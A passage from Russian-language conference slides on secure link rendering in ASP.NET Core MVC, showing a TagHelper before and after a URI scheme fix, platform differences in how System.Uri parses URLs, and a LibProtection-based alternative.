коде, живут в легаси-системах и не знают, что после .NET 2.0
выходили более новые версии, а .NET Core для них просто
ругательство»
По следам полученного фидбека (1/2)
64. Заголовок
• «…не рассказал как правильно делать, а просто рассказывал
про то, как костылями можно дырки закрывать»
• «…был задан правильный вопрос про то, что многие так уже не
пишут, а используют объектный подход. Каких атак тогда
опасаться?»
По следам полученного фидбека (2/2)
66. Заголовок
Реализовать в приложении ASP.NET Core MVC рендер ссылок,
безопасно обрабатывающий некорректные URL и генерирующий
для ссылок на внешние ресурсы вывод диалога с
предупреждением.
Проблема
67. Заголовок
public override void Process(TagHelperContext context, TagHelperOutput output)
{
var url = context.AllAttributes["href"].Value.ToString();
if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
{
throw new UriFormatException("Malformed URI");
}
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; }
var onclickHandler =
$"return confirm('You are about visit an external link: {uri} Are you sure?')";
output.Attributes.SetAttribute("onclick", onclickHandler);
}
Решение: реализовать TagHelper для тегов <a>
70. Заголовок
public override void Process(TagHelperContext context, TagHelperOutput output)
{
var url = context.AllAttributes["href"].Value.ToString();
if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute))
{
throw new UriFormatException("Malformed URI");
}
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; }
if (!Regex.IsMatch(uri.Scheme, "https?|ftp"))
{
throw new UriFormatException("Invalid scheme");
}
var onclickHandler =
$"return confirm('You are about visit an external link: {uri} Are you sure?')";
output.Attributes.SetAttribute("onclick", onclickHandler);
}
Устранение уязвимости
71. Заголовок
Какими будут URL создаваемые с помощью
new Uri("/path", <UriKind>) ?
http://www.mono-project.com/docs/faq/known-issues/urikind-relativeorabsolute/
https://github.com/dotnet/corefx/issues/22098
Ещё немного о объектном подходе на примере System.Uri
.ctor
.NET 4.7,
.NET Core 2.0,
Mono 5.4
(Windows)
.NET Core 2.0
(Linux)
Mono 5.4
(Linux)
new Uri("/path", UriKind.Absolute) Исключение Абсолютный Абсолютный
new Uri("/path", UriKind.Relative) Относительный Исключение Относительный
new Uri("/path", UriKind.RelativeOrAbsolute) Относительный Относительный Абсолютный
72. Заголовок
• Средства параметризации и объектного подхода:
• всего лишь частный случай типизации в рамках борьбы с инъекциями;
• не всегда существуют или применимы и не являются панацеей;
• могут содержать неоднозначности, уязвимости и ошибки в своём коде;
• часто требуют от разработчика доскональных знаний грамматик и
деталей своей реализации.
• Думать всё равно придётся (даже, в случае с LibProtection)
Вся правда о «современных средствах разработки»
73. ЗаголовокКстати, о LibProtection (aka «костыльном подходе»)
private static string BuildSafeLinkTag(string url, string text, string localhost)
{
var uri = new Uri(url, UriKind.RelativeOrAbsolute);
var clickHandler = uri.IsAbsoluteUri && localhost != uri.Host ?
$"return confirm('Are you sure you want to follow this link: {uri} ?')" :
"return true"
return SafeString.Format<Html>(
$"<a href='{uri}' onclick='{clickHandler:safe}'>{text}</a>"
);
}